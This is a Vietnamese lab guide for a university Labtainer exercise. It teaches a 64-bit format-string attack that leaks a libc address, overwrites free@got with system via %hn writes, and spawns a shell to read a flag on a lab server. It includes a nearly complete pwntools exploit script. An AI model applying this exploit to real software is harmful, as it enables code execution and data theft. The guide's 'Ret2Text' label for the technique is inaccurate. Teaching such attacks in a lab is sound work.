Format String: 64 bit application 2

1. Tổng quan

Lab này bao gồm mã nguồn của chương trình lỗi được biên dịch và chạy dưới kiến trúc 64-bit.

2. Yêu cầu đối với sinh viên

Sinh viên cần có kỹ năng sử dụng câu lệnh linux, hiểu biết thức nhất định về lập trình ngôn ngữ bậc thấp, biết sử dụng python phục vụ mục đích viết payload, hiểu được cơ bản về cách thức hoạt động của lỗi format string

3. Môi trường lab

Từ thư mục labtainer-student bắt đầu bài lab bằng câu lệnh:

labtainer -r ptit-format64_2

Sinh viên sẽ được cung cấp 3 container, trong đó:

- Container attacker: chạy 2 terminal, chứa binary của service chạy
- Container ghidra: chạy 1 terminal, chứa binary của service chạy
- Container server: chạy ẩn binary của service

4. Tasks

Mục đích bài lab: Giúp sinh viên hiểu được về kỹ thuật tấn công buffer overflow Ret2Text

a. Find buffer index

Mục đích: Tìm được index trỏ đến đầu buffer

Các bước thực hiện:

- Thực hiện debug tiến trình:
  - gdb format64_2
- Chạy chương trình:
  - run
- Tiến hành tạo một khối với nội dung bất kì
  - C
  - Index = 0
  - Size = 200

    - Content = AAAA
- Chỉnh sửa khối để trigger được bug
    - M
    - Index = 0
    - Content = %p%p%p%p%p%p%p%p
    - N
- Output sẽ in ra giá trị trên stack
- Tìm phần tử %p tương ứng khi thấy bắt đầu có sự lặp lại các giá trị in ra
- Sử dụng Ctrl-C để thoát tiến trình debug

b. Leak

Mục đích: Leak được địa chỉ trên stack

Các bước thực hiện:

- Thực hiện debug lại chương trình:
    - gdb format64_2
- Tiến hành đặt break point tại hàm printf gây lỗi:
    - b *modify+476
- Chạy chương trình:
    - run
- Tiến hành nhập nội dung tạo một khối:
    - C
    - Index = 0
    - Size = 200
    - Content = AAAA
- Tiến hành leak thông tin sử dụng hàm modify:
    - M
    - Index = 0
    - Content = %16$p
    - N

- Output thu được theo payload trên là giá trị hex là địa chỉ của _IO_2_1_stdout_ trong libc
- Sinh viên có thể tự do chọn giá trị leak khác trên stack để thực hiện bài

c. VMMAP

Mục đích: Tính địa chỉ base address

Các bước thực hiện:

- Tại cửa số đang debug thực hiện câu lệnh vmmap để in ra thông tin phân vùng bộ nhớ:
    - Vmmap
- Địa chỉ ở cột start tại dòng đầu tiên trỏ tới libc là địa chỉ base của libc
- Lưu lại giá trị này để tiến hành thực hiện tính offset cho hàm system ở bước sau
- Thực hiện tính offset của giá trị vừa leak ở bước trên bằng cách lấy giá trị đó trừ đi giá trị của libc base address vừa tìm được

d. System address

Mục đích: Tìm địa chỉ system để tính system offset

Các bước thực hiện:

- Thực hiện in ra địa chỉ của hàm system:
    - print system
- Tiến hành lấy địa chỉ system trừ đi địa chỉ libc base vừa tìm được bên trên để tìm được offset của system

e. Got address

Mục đích: Tìm được địa chỉ của got để ghi đè vào

Các bước thực hiện:

- Từ cửa sổ debug hiện tại chạy lệnh got
    - got
- Lưu lại địa chỉ got của hàm free (được đặt trong cặp '[ ]'
- Thực hiện thoát cửa sổ debug
    - quit

f. Overwrite got

Mục đích: Ghi đè got bằng system

Các bước thực hiện:

- Tại một cửa sổ terminal của attacker thực hiện chạy pwnserver:
    - ./gdbpwn-server.sh
- Chỉnh sửa file solve.py tại cửa sổ terminal attacker còn lại
    - nano solve.py
- Thực hiện chỉnh sửa payload để thực hiện ghi đè free@got.plt bằng system
- Tạo 1 khối bất kì sau đó xóa đi để thực hiện resolve địa chỉ cho hàm free
- Tạo khối mới dùng để trigger bug với content bất kì
- Tiến hành input để leak dữ liệu
- Tính lấy địa chỉ leak được trừ đi offset1 đã tìm ở trên để lấy được địa chỉ base
- Cộng địa chỉ base với offset của hàm system đã tính ở trên để ra được địa chỉ của hàm system
- Sau khi tìm được các địa chỉ offset1, offset_system, free_got tiến hành thay vào payload sao đó chạy:
    - python3.8 solve.py
- Khi pwnserver đã bắt được tiến trình debug sử dụng lệnh continue để tiếp tục:
    - c
- Tại cửa sổ còn lại ấn phím bất kì để tiếp tục
- Tại pwnserver tiếp tục chạy continue cho đến khi breakpoint chạm địa chỉ (modify+476)
- Tiếp tục chạy lệnh continue để đến breakpoint tại modify tiếp theo:
    - c
- Sau đó chạy lệnh ni để chạy qua lệnh printf:
    - ni
- Chạy lệnh got để thấy được địa chỉ của free lúc này đã được thay bằng địa chỉ của hàm system

g. Secret

Mục đích: Tìm được nội dung flag được giấu trên server

Các bước thực hiện:

- Thay đổi payload để thực hiện tấn công lên server
    - P = remote('192.168.1.2', 1810)
- Đọc file secret sau đó copy chuỗi số bí mật:
    - cat .secret
- Thoát khỏi chương trình sau đó submit flag tại cửa sổ terminal của attacker
    - echo "flag <secret number>"

payload cuối cùng:

```
from pwn import *
p = process("./format64_2")
#context.log_level = "DEBUG"
context.terminal = ['./gdbpwn-client.sh']
gdb.attach(p, """
b *modify+476
""")
pause()

## step 1: leak
# create block with size 200
p.sendlineafter(b"> ", b"C");
p.sendlineafter(b"> ", b"1");
p.sendlineafter(b"> ", b"10");
p.sendlineafter(b"> ", b"A");

p.sendlineafter(b"> ", b"D");
p.sendlineafter(b"> ", b"1");

p.sendlineafter(b"> ", b"C");
p.sendlineafter(b"> ", b"0");
p.sendlineafter(b"> ", b"200");
p.sendlineafter(b"> ", b"/bin/sh\x00");

# modify block content but don't overwrite to trigger bug
p.sendlineafter(b"> ", b"M");
p.sendlineafter(b"> ", b"0");
p.sendlineafter(b"> ", b"%16$p");
# pause()
p.sendlineafter(b"> ", b"N");
leak  = p.recvline().split(b' ')[-1].replace(b'\n', b'')
```

```
# ============ YOUR MODIFICATION HERE ==================
offset1 = 0
offset_system = 0
free_got = 0

# =====================================================

libc_base = int(leak, 16) - offset1
system = libc_base + offset_system
print ('system: %s' % hex(system))

## step 2: write
p.sendlineafter(b"> ", b"M");
p.sendlineafter(b"> ", b"0");

if (system & 0xffff) - ((system>>16)&0xffff) > 0:
        first, second, amount1, amount2 = free_got+2, free_got,
((system>>16)&0xffff), (system & 0xffff)
else:
        first, second, amount1, amount2 = free_got, free_got+2, (system &
0xffff), ((system>>16)&0xffff)

# buffer start at parameter 8th on stack
payload  = b'%' + str(amount1).encode() + b'c%12$hn'
payload += b'%' + str(amount2-amount1).encode() + b'c%13$hn'
payload = payload.ljust(32, b'-')
payload += p64(first) + p64(second)
p.sendlineafter(b"> ", payload)
#pause()
p.sendlineafter(b"> ", b"N")
p.recvuntil(b"> ")

# step 3: exec /bin/sh
#pause()
p.sendlineafter(b"> ", b"D")
p.sendlineafter(b"> ", b"0")

p.interactive()
```

5. Kết thúc bài lab

- Thực hiện checkwork bài lab bằng câu lệnh bên dưới:

    - checkwork ptit-format64_2
- Trên terminal đầu tiên sử dụng câu lệnh sau để kết thúc bài lab:
    - stoplab ptit-format64_2
- Trong quá trình làm bài sinh viên cần thực hiện lại bài lab, dùng câu lệnh:
    - labtainer -r ptit-format64_2